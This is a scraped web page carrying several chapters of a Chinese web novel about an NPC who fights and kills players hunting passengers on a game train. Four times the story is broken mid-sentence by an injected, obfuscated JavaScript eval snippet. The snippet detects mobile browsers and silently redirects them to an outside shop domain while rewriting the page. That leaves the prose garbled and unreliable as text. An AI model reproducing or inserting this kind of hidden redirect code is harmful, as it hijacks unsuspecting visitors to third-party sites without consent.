糖糖摇摇头,“妈妈说奶片里面全是糖,没有奶,不让我吃。” “那你喜欢吃吗?” 糖糖不好意思地笑了,点了下头。 “吃一个没事,我们不告诉她。”林轲把奶片又往前递了递,最后整板都塞进她手里。 糖糖犹豫了一下,把奶片放进嘴里,又冲林轲笑了。 林轲关上柜门,回头看向男孩。 这个男孩是不速之客,本不在她的计划之中。不过也许有他在,糖糖或许不会那么害怕。 “你躲在床底下。”林轲对他的语气显然没有糖糖温柔。 小男孩“嗯”了一声,乖乖钻了进去。 林轲把耳朵贴在门上听了一会儿。惊恐的喊叫声和枪声都已经飘远,外面暂时没有动静。她这才打开门,闪身出去。 她寻着枪声的方向追去——她最擅长的是从背后放冷枪,让这些玩家知道,什么叫螳螂捕蝉,黄雀在后。 跑着跑着,她突然停下来。 心里总是慌慌的,十分不安,像是有什么重要的东西被忽略了,而她没有发现。 林轲脑中像是过电影般,把上车后发生一切快速扫过。 她没有显赫家世,没有多余才艺,更没有倾城美貌,但她的记忆力却精准得像台录像机——听到的、看到的,都能原封不动地储存下来。 是声音! 坐在小男孩身旁那个男人的声音——和黑影的相似度至少有六成。 这两个人从上车起就透着诡异,男人虽然自称是小男孩的父亲,但看起来却不像。 如果黑影是那个男人,那么—— 男孩身份是什么? 这么重要的事,为什么现在才想到! 林轲猛地调转方向,拼尽全力往回狂奔。 火车依旧呼啸穿行在无人区。林轲冲过堆满尸体的车厢,冲到休息室门前。 她的手已经摁在门上,却停住了。 不能贸然开门,万一触发了炸弹,自己和糖糖都会死。 她两步蹿到旁边被炸开的车壁处,借着黑伞的钩子爬上车厢顶,身体贴着车壁下移,从窗户往里看—— 一滩鲜红的血,从藏着糖糖的柜子底下渗出来。 鲜血的红色刺得她眼前一黑。 林轲脑子里“轰”的一声,瞬间感觉天旋地转,差点没抓住车壁从上面滑下来。 口中再次泛起腥甜,她不知不觉咬破了自己的唇。 她没看到小男孩,没有看到门后可能设置的手雷。她不知道小男孩是跑了,还是藏在床底等待伏击她。 林轲用唐刀割破玻璃,跳进去的瞬间直接劈向那张单薄的床。 一劈到底,就连地板都陷进去三分。 刀刃上没有传来熟悉的、切割血肉的触感。 小男孩已经逃了。 林轲转身去拉柜门。 她抱着一丝希望—— 也许,柜子里的血,不是糖糖的。 也许,糖糖受伤不严重,孔慈宁可以救她。 也许,这是别人的血,不知道怎么流进这里。 门打开的那一刹那,小手掉了出来。 手里还紧紧攥着一板奶片。 奶片被鲜血浸透了,呈现出刺眼的红色。 糖糖保持着双臂抱膝的姿势,似乎还在乖巧地等自己回来,带她去找妈妈。 林轲死死盯着那截攥着奶片的小手,牙齿控制不住打颤,全身都在剧烈地颤抖。 【检测到共情指数急速攀升……】 【性情提升为C级,解锁能力:死亡追踪】 【能力说明:你可以在直径2公里范围内,凭借意识锁定一个人。 注意:只有锁定的人死亡,才可以锁定下一个人。】 【能力冷却期:5天】 机械声音落下的瞬间,林轲的视线突然变得又高又远,穿透了所有物理阻隔。 她能看到火车头仪表盘上跳动的数字,能看到每一节车厢里横卧的尸体——但看不到任何活人。 能看到的活人应该只有锁定者。 林轲心里想着小男孩的模样,瞬间找到了他。 他正坐在空无一人的七号车厢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351887|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中铺,两条腿悠荡着,嘴里好像还哼着歌。 林轲可以肯定,这个小男孩,是这列火车另一个Mboss。 林轲没有再回到车顶,而是破门而出,直接奔向7号车厢。 如果她不把糖糖带在身边,而是交给孔慈宁,糖糖就不会因她而死。 是她害了糖糖! 暴怒麻痹了林轲所有疼痛,她的速度比之前更快,几乎是瞬间冲到七号车厢。 通过死亡追踪,林轲看见Mboss从床上跳下来,站在过道里等她。 他眼里掩不住惊异,但更多的是欣赏——那种高高在上的、猫看老鼠的欣赏。 “你是怎么找到我的?” 林轲没有回答他,发红的眼睛死死盯着他。 “看来……那个小女孩的死对你触动很大。”他笑了笑,语气轻飘飘的,像在谈论一件无关紧要的小事。 林轲依旧保持沉默,她嘴角渗出一丝血,阴沉沉地看着他。 她的眼神太过于冰冷,那是一种平静的愤怒。 Mboss对上她的视线,无意识后退了一步,“我以为能和你说几句话,没想到你是个哑巴。” 随之,林轲周身瞬间浮现出密密麻麻的小三叉戟。锋刃从四面八方对准她,将她围得密不透风。 “算了,游戏里像你这样的NPC还很多,你不值得我浪费口舌。” 话音未落,千百柄三叉戟呼啸刺向林轲。 林轲的唐刀早已取消隐身状态,她单手挥刀格挡。 “铛……” “……铛” 三叉戟如密麻的暴雨,她只能挡开刺向要害的部分,剩下的密密麻麻扎在她身上。 血从伤口同时涌出,浸透黑色帽衫,顺着脸颊,指尖、衣摆往下淌,在脚边汇成一小滩。 她整个人摇摇欲坠,膝盖发软,几乎要跪下去。 但她没有倒。 Mboss缓缓走近她,嘴角噙着一丝不屑的笑意。 “都这样了,还不死。”他在她面前站定,歪着头打量她,“在等什么呢?” 他抬起手,想轻轻推一下扎在她肩上的三叉戟——像逗弄一只垂死的猎物。 就在他指尖触到戟杆的瞬间—— 林轲动了。 那只还在汩汩流血的手猛地攥住他的手腕,力道大得惊人,鲜血瞬间染透了他洁白的衬衫袖口。 Mboss一愣,抬头对上她的眼睛。 那双眼睛里没有痛苦,没有绝望——只有冰冷,令他胆寒的冰冷。 林轲整个人压向他。身上插着的三叉戟随着动作又往肉里扎深了几分,但她像感觉不到疼一样,用尽全身最后一点力气扑向他。 “你——” Mboss的话卡在喉咙里。 他听见了“咚”一声轻响。 金属落地的声音。 他低头。 一颗沾着血的手雷落在他脚下。 “等着和你……”林轲气若游丝,却带着一丝笑意,“同归于尽。” 轰—— 火光吞没一切,在林轲和Mboss身上炸开。 林轲之所以不说话,是因为她口中一直含着隐身的手雷保险栓等着拉开。 她看到Mboss轻松惬意坐在床铺上时,已经判断出两个人正刚自己绝对没有优势。 所以,她选择同归于尽。 她在赌。 这个高高在上、自诩高人一等的Mboss怎么可能会忍受被NPC拉着同归于尽? 他一定不甘心,会重置游戏。 如果Mboss重置游戏,她还有活下去的机会,还有救下糖糖的机会。 可如果Mboss不重置游戏,那她就彻底死了。 死…… 那就死吧…… 她不后悔。 22. 无限猎杀 【警告:被NPC反杀2次后测试账号将永久剥夺Mboss权限,确认是否重置游戏?】 杰克愤怒地摘下全息眼镜,胸口剧烈起伏。 他居然被一个虚拟数据杀死了。 人可以忍受强者的践踏,却不能忍受蝼蚁孤注一掷的挣扎。 在他眼里,NPC连蝼蚁都算不上! 冷静下来后,他深吸一口气,开始分析。 列车上杀死自己的NPC应该是成长型——公司专门设计用来提升玩家体验的类型。 他没有成长型NPC的分布数据,这些都是由名为“因果”的算力大模型分配的。以他的级别,就算是在公司干到死,也接触不到这么核心的数据。 不过没关系。 他不知道她的数据,但他知道她的目的。 杰克嘴角噙着一丝笑意,她越是在乎什么,他就越是要亲手让她毁灭什么。 杀死一个虚拟数据的NPC有什么意思? 折磨她,才有乐趣。 这个NPC拥有伪装变身的能力,最后看到她的模样不是她刚上车时的真实模样,他要找到初始状态下的NPC。 他调出玩家列表,找到第一个被NPC杀死的玩家。 波塞冬(杰克):给你转300经验值,告诉我杀你的人长什么样。 深海:哇噻,大佬好阔气!你怎么知道我是第一个被杀的,难道你是这列车的Mboss? 波塞冬:别废话…… 深海:好哒好哒,大佬。杀我的是个女的,她戴着棒球帽,看不清脸。 波塞冬:穿什么衣服? 深海:穿着一件红色马甲,戴着黄色帽子,背着黑色书包。我记得列车上好多NPC穿这身,不知道是什么宗教组织。 波塞冬:旅游团。游戏世界里的一种娱乐组织设定。 深海:哦,大佬你对游戏世界懂得好多啊!嘿嘿嘿,那经验值是不是可以转给我了,其他的我没看清,她好像故意挡着脸。不过声音挺年轻的。 杰克给他转了经验值,关闭和他的对话。 他调出游戏副本库,找到这列火车的旅游团记录。一共有两个,其中一个旅游团衣服和深海描述相符,不过这是老年团。 为什么声音年轻的NPC会在老年团里?是NPC在动手之前进行的伪装还是游戏的bug? 杰克皱眉,他受过的培训告诉他: 这款游戏是公司开发的最伟大的游戏。因为游戏的首席架构师是林渊——迄今为止最伟大的科学家,人类永生奥秘的勘破者。她的脑力排行至今仍保持断崖式第一,是每个公司员工膜拜的神。 游戏的“因果”算力是她亲自设计的,逻辑层面怎么能有这么大的bug? 【公司总是对的。 如果你发现公司有问题,那一定是你的问题。】 ——员工守则第一条。 杰克无条件相信公司。 所以他倾向于第一种解释:NPC在列车被标记之前已经发现异常,旅游团的衣服是她第一层伪装。 杰克这么想着,眼前弹出一条来自影帝的消息。 影帝:组长,列车标记还重启吗?要是再被反杀,账号就永久失去Mboss资格了。这可是公司的测试账号,要是被发现…… 波塞冬(杰克):重启。 影帝:组长,我们要不要慎重考虑下,万一让雅典娜知道我们用测试账号登录游戏做标记…… 波塞冬:这是工作的一部分。 杰克直接点击“Y”,进入第二轮游戏。 * 马元被杀后强制退出游戏,脑机传来的骨头捏碎感让他两眼一黑,整个人像被电击一样抽搐着从椅子上摔下来。他一把扯下贴在太阳穴的脑机,大口地喘气。 疼死了。 到底是哪个禽兽捏碎了自己的脑袋! 直到死,他都不知道杀自己的是NPC还是Mboss派来的人,他更倾向是Mboss派来的人。 这次从游戏退出来后,他大脑晕晕沉沉,比第一次寝室猎杀还要难受。 他发现越是沉浸式玩这款游戏,退出后的副作用就越大。 但他没有多想,他把这些归咎于死得太惨,疼得太剧烈。 桌子上黑色的脑机闪着蓝光,提醒他有新的消息。他撑着椅子站起来,戴上脑机。 眼前浮起全息光幕: Mboss已经重启K3323列车标记,游戏将在15秒后开始。 马元愣了一秒,喊了声“我靠!” 看来Mboss真的被NPC杀了! 好好好,太好了! 这么高等级的玩家都被NPC反杀,那他被反杀也不算丢人。 这次他学精了,把疼痛指数调整到最低,变成血条极薄的脆皮玩家。反正他不打算再杀NPC,就进去看个热闹。 游戏空间章鱼大厅里,已经聚满了复活的玩家,头顶飘着各种ID。 正中央,一个数码人浮在半空,头顶金色的Mboss标识格外刺眼。 Mboss:这次游戏重启,我要你们复现第一次游戏剧情,不要有任何改动——包括区分NPC和玩家的黄色丝带,都要戴在身上。” 大乔:为什么?我们该换策略才对! 四目蜘蛛(马元):我代表和我一起死的人问一句,杀我们的是那个NPC,还是你派去的人? Rajevee:就是,得说清楚! 大乔:上一次你不给我们开放玩家之间的可视权限,我们只好用黄丝带区分,结果暴露了,这次还让我们用黄丝带! 四目蜘蛛(马元):正在输入中…… 大乔:正在输入中…… 红尘恨:正在输入中…… 【Mboss已禁言】 大乔:&…%#¥## 四目蜘蛛(马元):!!!!! 被禁言的马元怒火中烧,按照他的经验,能杀掉Mboss和十多个玩家的NPC肯定不简单,也许比反杀自己的林轲还厉害。 林轲每次重置,都会想不同办法反杀,再像第一轮一样肯定死得更惨。 他之前就吃了狂妄自大的亏,没想到这个Mboss也同样,而且一意孤行,不听劝阻。 他倒是要看看,这个盛气凌人、愚蠢至极的Mboss怎么被再次反杀。 章鱼大厅内部浮起红色字幕: Round2Start! * 林轲以为她的黑伞会被扣下,没想到工作人员放她走。她接过黑伞,加快脚步往检票口走。 奇怪的是,此时她本应心有余悸,但却莫名的愤怒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357497|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体也不对劲——每一根神经,每一节骨头,每一寸肌肉都像被撕扯过一样疼。 这根本不是“后怕”该有的生理反应。 愤怒并没有平息,反而随着检票人群的移动越来越强烈。 这种感觉似曾相识——和第三轮时,她不想回寝室一摸一样。 难道……这列火车被标记了,她第二次坐这列火车? 这么倒霉? 一天之内被标记两次? 可身体里的余痛不会骗人——这分明是恶战过后留下感知记忆。 她盯着前方缓缓移动的检票队伍,转身掉头,逆着人流往回走。 她不想再被标记,不想再被猎杀。面对未知的恐惧,她脑里只有一个念头——跑。 “各位旅客,从北安始发,终到漓州的K3323列车马上就要发车了。请还没有上车的旅客抓紧时间上车。” 广播在头顶循环,像是一根绳子勒住了她。 林轲放慢脚步,回头看了一眼检票口。 心口微酸,莫名地涌起强烈的愧疚感。 林轲自认为是情感淡漠之人,很少为什么事愧疚。可这股情绪越来越烈,强烈到她眼窝都有些发酸。 潜意识告诉她:不能走,要上车,要上车! 为什么要上车? 明明这列车很可能被标记了。 她站在出口和检票口之间,两股力量撕扯着她。 “K3323次列车马上就要停止检票了,请还没上车的旅客抓紧时间上车。” 潜意识让林轲抓紧时间上车,和之前不让林轲回寝室一样。 林轲攥紧手中的黑伞,转身冲向了检票口,最后一个穿过闸门。 虽然不知道原因,但林轲相信自己的潜意识。就算车被标记了,她肯定有要上车的理由。 如果玩家重置了游戏,就说明上一轮NPC赢了。 赢了第一轮,就能赢第二轮。 她拼命回忆之前发生了什么,可记忆像被人清空的数据——只停留在杀了秦若离、扮成她的模样逃走。 除此之外,一片空白。 她对照车票来到自己座位,一对男女正坐在自己床铺吃泡面。 看到他们,林轲十分厌恶,不单纯是他们在自己床铺吃泡面。 没准上一轮中,他们有过节。 她目光上移,扫到中铺。 一个女童头朝里躺着,蜷成小小的一团。 看到那个背影的刹那,林轲的心猛地揪了一下,刚刚平息的愧疚突然再次上涌。 “太好了,我真害怕没有第二次!这次我一定要问清楚他的人生第二信条是什么!” 对面下铺突然传来女孩清脆的声音。林轲余光扫过去,女孩看起来二十岁出头,清纯白净,脸上洋溢着兴奋的笑,露出两个可爱小酒窝。 “闭嘴,李争曦。”女孩身边的男人语气冷硬。 李争曦撅嘴,“你吼什么吼,我又没说什么关键内容。” “你再说一句就滚回去。”男人侧头冷冷斜了她一眼。 李争曦吐了吐舌头,头靠在车窗,向外面看去,不再吭声。 吃泡面的女人搭话,“帅哥,对女朋友好凶哦。女孩子都是要哄的嘛!” 李争曦微笑,“我们不是男女朋友关系。” “那你们是什么关系?” 23. 无限猎杀 “我们啊……是共——” 李争曦还没说完,男人伸手摁住她的腿,压低声音:“我们就是男女朋友。她置气呢,别当真。” 女人端着泡面站起来,“就是嘛,你们真是郎才女貌。小伙子帅得很,小美女也好俊俏。” 女人和男人站起来让开,林轲才走过去坐下。她压低棒球帽檐,视线不动声色地扫过车厢。 她的目光落在对面男人的黑色皮鞋上。 皮鞋油光锃亮,不染纤尘。 看到这双鞋,她的心猛地动了下,右腿突然抽疼——这是身体对危险的本能感知。 对面这对男女,氛围、说话都很怪。没准他们是玩家。 既然玩家自认为拥有记忆优势,那他们一定希望一切按上一轮的剧本重来。 林轲要做的,就是打乱节奏——让他们熟悉的剧情彻底失效。 浑水,才能摸鱼。 想缩小和玩家的记忆差距,就得在策略和心理上,先下手为强。第一轮游戏,按照自己的性格,绝不会和对面人搭讪,但这一次…… 她从包里掏出一板奶片,摁出一个放入口中,很自然递到望向窗外李争曦面前问,“吃吗?” 李争曦愣了下,笑着摇了摇头,“不吃,谢谢你。” 林轲:“你和我一个朋友长得很像,要不是你男朋友和你在一起,我以为和朋友在车上偶遇了。” “是吗?”李争曦水灵灵的眼睛带着一丝狡黠看向男人,“范昶,有人和我长得很像哎,是不是你要找的人?” 范昶本来低垂着头,听她们的话缓缓抬起头,看向林轲,“如果方便的话,能告诉我你朋友叫什么名字吗?我没有恶意。”他看向李争曦露出温柔的笑意,“争曦有个孪生的姐姐,已经和她失散多年了。” “我朋友是独生女,应该不是你们要找的人。”林轲微笑,“不好意思,不方便透露。” 范昶颔首:“没事,能理解。” 林轲没想到随口那么一说,居然发现了这两个人关系疑点。李争曦的孪生姐姐,她男朋友怎么比她本人还着急? 再加上林轲对黑皮鞋的危险感知,推断出这两个人肯定有问题。 放任任何危险可疑人物存活,对林轲来说等于自杀。 宁可错杀三千,不可放过一个。 林轲在心里把这两个人划进必杀清单,等找合适机会先解决这两个人。 火车徐徐开出站台,林轲坐在床铺上,隔一会儿就点亮手机屏幕看一眼信号。 已经开了两个多小时,手机还有信号——说明这趟车还没被标记。 车上广播说列车会经过可可木无人区。她看了眼时间,按照列车行驶时刻表推算,进无人区应该是凌晨。 无人区,凌晨…… 这两个关键字组合起来,太适合猎杀开场了。 得在猎杀开始前行动。 “妈妈——妈妈——我要妈妈!” 上铺女童爆哭声音打乱林轲的思绪。 女人连忙跳下床铺,一把抱起大哭的孩子往车厢连接处跑。 “妈妈!妈妈!我要妈妈!”女孩弱小的手臂无力地推着女人,脸上挂满泪水,头发乱糟糟贴在脸上。 “你不是我妈妈!你不是我妈妈!” “又做噩梦说梦话了!”男人紧接着下床,脸上挤出一丝笑,对林轲他们说,“对不住大家了,打扰大家休息了。我女儿做梦总爱魇住,醒了就找妈妈,说谁都不是她妈妈,等我们去哄哄就好了。” 男人说着,手中抓着蓝色塑料袋,跟随女人脚步匆匆离去。 李争曦探头往外看了看,问:“我们是不是该报警?” “别添乱。”范昶声音冰冷说。 对面上铺的男人本来要说话,听见范昶这么说又咽了回去。 很快,男人抱着脸色苍白熟睡的女童回来了。孩子软软地趴在他肩头,脸上还挂着没干的泪痕,睫毛湿漉漉粘在一起。 车厢里再次安静下来,像什么都没发生过。 女童哭的时候,林轲的心揪了一下。尤其是听到“找妈妈”这三个字,心像被什么东西攥住,疼得她握着黑伞的手微微发抖。 她要报警。就现在。 不过林轲没有冲动,她想以自己的性格,第一轮遇见这样的事,是不会轻易报警的。因为她伪装能力的局限性,报警意味着身份核查,容易暴露。 得想个别的方法。 林轲拿起黑伞,背着她所有家当往硬座车厢走——那里人多,好下手。 走到十号车厢连接处,发现通往硬座的门锁着。她敲了乘务员的门,对方很痛快给她开门,还热心说回来时再叫他。 硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360982|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座车厢连过道都挤满了人。 林轲侧身挤过去,到下一节车厢连接处时,手里多了一部手机。 偷东西是她被送进孤儿院之前赖以生存的技能。虽然现在不偷了,但技术依旧娴熟,手到擒来。 林轲在卫生间,用偷来的手机拨打110。 电话接通后,她压低嗓音说,“你好,我这里是K3323列车,这列火车第7号车厢,7号中铺和上铺的男女是人贩子,正带着被拐的女童逃离,请尽快派人上车解救。另外,这辆车有恐怖分子,人数不明,一定要携带武器上车。” 说完直接挂断。 如她所料,她挂断电话后,110又打过来。她把手机关机,匆匆往回走。 车厢里的中年男人站在过道,撅着屁股翻找放在座位上的背包,额头满是汗水,“我电话呢?我电话呢?刚刚明明放在兜里了。” 林轲推开他说了声,“不好意思,借过下。”顺手把手机塞回他裤兜,动作一气呵成。 她在距离7号车厢最近的乘警办公室门外停下,想看看110接到报警后会不会联系车上的警察。 门开了,一个乘警举着电话出来边走边说,“好的,好,我这就去7号车厢看一下,有情况我们随时联系。” 林轲心里暗喜,警察行动了! 她跟在乘警身后,穿过一节车厢。 乘警突然停下脚步,警觉地四下看看,转身往回走。 林轲:??? 他怎么不走了?明明刚才脚步加快,看起来很着急。 林轲没有作声,远远地跟着,直到乘警回到办公室。 出什么事了?为什么不去查看情况? 林轲没有回自己铺位,而是和其他乘客挤在乘警办公室外面,想看看他下一步行动。 她等了五分钟,乘警还没动静。 她正盘算着再偷部手机报警—— 低头看了眼手机时间,动作顿住了。 没信号了。 右上角两个叉。 标记……开始了? 那个乘警是不是被玩家降临,才没有继续往七号车厢走? 如果是这样,那就说的通了。 林轲走到乘警办公室门口,抬手敲门。 “谁?”声音警惕。 “警察同志,我要报警。” 24. 无限猎杀 门内的影帝皱眉——第一轮游戏的时候也没人找他报警。 第一轮时,他听杰克的指挥,去四个玩家死亡的车厢。他到那里,玩家已经动手,所有乘客落荒而逃,只有一个和他穿同样制服的人偷偷盯着玩家。 他当时觉得这个人有问题,所以随便用一个自己起的名字试探,果然让他试出来这个人身份有异,于是怀疑这个人就是杀了四个玩家的NPC。 当时杰克让他不要轻举妄动,引NPC过去让他瞧瞧,结果他被NPC砍得人首分离。 这轮突发状况,他拿不定主意,请示杰克。 杰克只回一个字:开。 影帝推开门,看见抱着黑伞,学生模样的女生问:“什么事?” 林轲慌张地四周望望,“警察同志,我们进去说吧。我怕被他们听到,来报复我。” 影帝还没想好拒绝的借口,林轲已经一脚迈了进来。 根据杰克的描述,那个NPC穿着红色旅游团马甲,背着黑色双肩背包。而影帝面前的女生并没有这些特征,还抱着把辨识度很高的黑伞,一看就不是那个NPC。 林轲进来后主动关上门,绕到里侧,神色慌张,“警察同志,我发现车上有人贩子。你快过去看看,就在7号车厢7号中铺。” 影帝并不想出去,毕竟还没到他走剧情的时候。如果让杰克知道他没有按照第一轮剧情走,给他穿小鞋是小,弄个锅给他背就惨了。他随意应付着说,“行,我知道了,我一会儿过去看看,你先回去吧。” “我不敢自己回去。”林轲拉住他的胳膊,“刚才我过来时,遇到两个变态趁着人多摸我屁股。你能和我一起回去吗?” 若不是杰克说一切要按照原计划来,影帝真想现在解决这个麻烦。 但——现在还不能动手。 他烦躁地“嗯”了一声,想送她出去后就回来,尽量不偏离剧情。 就在他转身拉门的瞬间—— 身体僵住了。 这种感觉太熟悉了,因为上一轮他就是这么被人从后背斜着劈下来。 影帝强撑着,缓缓转过头,对上女生冷冰淡漠的黑眸。她脸上溅了几滴血,顺着她若有似无笑意的脸颊滑落。 这次什么情况,怎么就这么被杀了,他明明什么都没做?! 他想给杰克发消息,但游戏已经将他强制登离。 【已杀死1个Mboss铂金玩家,体能临时升为E+++级】 游戏机械音在林轲脑中响起。 林轲:??? 她杀死了Mboss? 居然这么轻松杀了Mboss?! 活了二十多年,第一次这么幸运! 她感动得眼眶都有些湿润了,第二轮游戏就这么丝滑的结束了? 她站在原地等了几秒,没听到游戏解除标识的提示音。 标记没有解除? 难道……还有别的Mboss? 想到这里,林轲立刻推开车门,拿着黑伞走向人最多的车厢。 正好路过一个靠边的空座,她直接坐下来,头斜靠在旁边已经熟睡的阿姨身上假装睡觉。 “不好意思,让一下。” “让一下。” 慌乱的声音在鼻鼾声中格外清晰。 林轲眯起眼,从帽檐下看过去。 一个女生正从车厢那头挤过来,不时惶恐地回头看。她胳膊上绑着黄色丝带,在一堆灰扑扑的衣服里格外亮眼。 林轲想杀了Mboss之后,肯定有玩家过来查看。但这女生不像是来查看的,倒像是逃命的。 她一边跑一边回头,不停地推前面挡路的人。 “大晚上的,你有病吧!”被她推醒的人骂骂咧咧。 女生根本没理,继续往前挤,一不留神脚拌在横叉在过道的腿上——整个人失去平衡,直接扑了出去。 “啪!”她正好摔在林轲脚下。 她手忙脚乱要爬起来继续跑,一抬头,对上林轲帽檐下的脸。 整个人僵住了。 她不由得睁大眼睛,惶恐的神色比之前更甚。 “你、你、你……”她磕磕巴巴,手指着林轲,“你不是死了吗?” 林轲眼眸紧缩,装作极度生气模样,“你才死了呢!骂谁呢!” 女生眨了眨眼,突然紧紧拉住林轲的小腿,“林轲,是你吧?是你,是不是!” 林轲心里一紧。 这个女生居然看透自己的伪装能力,认出自己的真实身份。 不过她怎么知道自己叫林轲,林轲根本不认识她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369938|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林轲紧紧握住横卧在膝上的黑伞,考虑要不要挡着这么多人的面抹了她的脖子。 “真正的秦若离已经死了,能变成她的样子的人应该只有你了。之前是我错了,我不该选择你,我不知道你这么强,居然可以杀了这么多高级玩家!” 女生眼里泛着崇拜的光,“救救我,有人要杀我。只要你肯帮我,我帮你一起反杀Mboss。” 林轲微微皱眉,“你在说什么,我根本听不懂。” “我上一轮游戏给队友放冷枪,这轮他疯狂追杀我,已经追了三节车厢。你那么厉害,求你救救我吧!”女生语速很快,手抓着林轲的腿不放,“求求你,救救我吧!我给你情报和武器,群里信息全告诉你。绝不什么明修那个道,暗里清仓。” 林轲抿嘴,“是明修栈道,暗度陈仓吧。” “对对对,上一轮你对我说过,我有些记不清了。” 林轲略思,抬了抬下巴,“往前走,躲进前面乘警办公室。那里没人,我帮你挡一下。” “好好好。”女生爬起来往那边跑。她刚推门进去,车厢另一头出现一个高挑女生,正四处张望。 应该是她了。 林轲若无其事地走过去,语气和善:“美女,找什么呢?需要帮忙吗?” “滚!”高挑女生不耐烦地推开她。 女生走了两步,停下脚步,转身问林轲,“你有没有看见一个肤白貌美,气质不错的女生。” “我有印象,刚刚看见她进乘警办公室——” 林轲还没说完,女生已经转身大步往乘警办公室走。她边走边卸下背包,从里面拿出黑色的枪支组件,咔咔咔地组装起来。 车厢里灯光昏暗,大部分人都歪着脖子睡觉。就算清醒的人,看了也以为她拿的是模型。 只有林轲,贪婪的看着她手里的步枪一点点成型,跟在她身后。 女生根本没注意——林轲像鬼一样贴着跟过来。 她举起步枪,对着办公室门直接扫射。 “哒哒哒哒——” 子弹穿透门板,白烟冒起。铁皮上炸开一个个黑洞。 “哒哒哒哒——” 女生没停,眉心拧着,咬牙切齿地射击。 门被打成筛子,密密麻麻全是黑漆漆的弹孔。 25. 无限猎杀 女生扫射完一整梭子弹,抬脚踹开门。 办公室里纸张散落一地。 另一个女生靠在墙角,胸口上炸开几个血洞。她眼睛大睁,右手还握着枪,枪口正对着门。 “哼,活该。”女生得意说完,身体僵住,不可思议睁大眼睛。 林轲站在她身后,抽回刀,“是挺活该的。” 女生往前倒去,砸在墙角那具尸体上。 【已经杀死普通玩家1名】 游戏提示音响起。 上面的女生尸体很快化成莹绿色的代码,但下面的女生尸体还在——明明她死得更早。 没消失意味着武器也不会随着一起消失。 林轲迅速把下面女生背包扯下,掰开她手里的枪,推开斜对面卫生间的门躲进去。 林轲拉开拉链看了一眼——弹夹、手枪、手雷,整整齐齐码在里面。 今天运气爆棚,买彩票能中五百万。 枪声彻底撕碎了沉睡的车厢。 “什么声音,放炮了吗!” 惊醒的乘客一脸茫然。离得近的人跑过来看,看到胸口.爆开血花的尸体,死不瞑目斜倚在办公室车壁。 “杀人了!” “杀人了!” “救命啊!杀人了!” 尖叫声此起彼伏。 车厢里乱成一锅粥,受了惊吓的乘客四处乱窜。有人不停拨110,怎么都打不通,恐惧像瘟疫一样蔓延。 “嘭,嘭,嘭……”其他车厢传来枪声。 猎杀开始了。 就算现在有武器,但林轲不清楚玩家到底有多少人,不能硬拼。 如果是第一轮的自己会怎么做? 肯定先避开玩家,背后放冷枪。 林轲能想到最好避开玩家办法是去车顶。她第一次也许用了,万一玩家有这个记忆优势在车顶守株待兔,自己只有死路一条。 林轲皱眉略思,抬头看向天花板。 她变成刚刚杀死乘警的模样,踩着卫生间的洗手台,顶开天花板上的通风口。先把背包扔上去,再用黑伞尾勾住天花板里的栏杆,使劲扯了扯确认牢固,双手抓着伞柄借力爬了上去。 通风口里灰尘扑扑,呛得她忍不住咳了两声。 她拽着背包,抓着黑伞,沿着狭窄的,满是灰尘的通道往前爬。 她从通风口的缝隙向下看去——第一次这么真切地俯视着无差别屠戮。 一对抱着孩子的老人跑向穿乘警制服的人,那人对他们开枪。老人抱着孩子倒地,惊愕地瞪大眼睛,死不瞑目。 逃命的人根本顾不得尚有一息的孩子,不停地踩着他们尸体逃命。 列车是行驶在无人区的炼狱。 在玩家眼里,所有生活在这个世界的人,都不是血肉之躯,而是可以肆意虐杀的玩具。 林轲拿起捡来的手枪,半闭着眼瞄准那个乘警玩家,以及和他一起开枪的乘务员。 “砰——” “砰——” 她藏在车顶,用这种方式杀了六个玩家,累计第七个普通玩家死亡后,她体能提升为C级,解锁了初级刀谱。 一切太过于顺利。 顺利得让她隐隐不安。难道就这么阴暗爬行,一路杀光所有玩家,直到干掉最后一个Mboss? 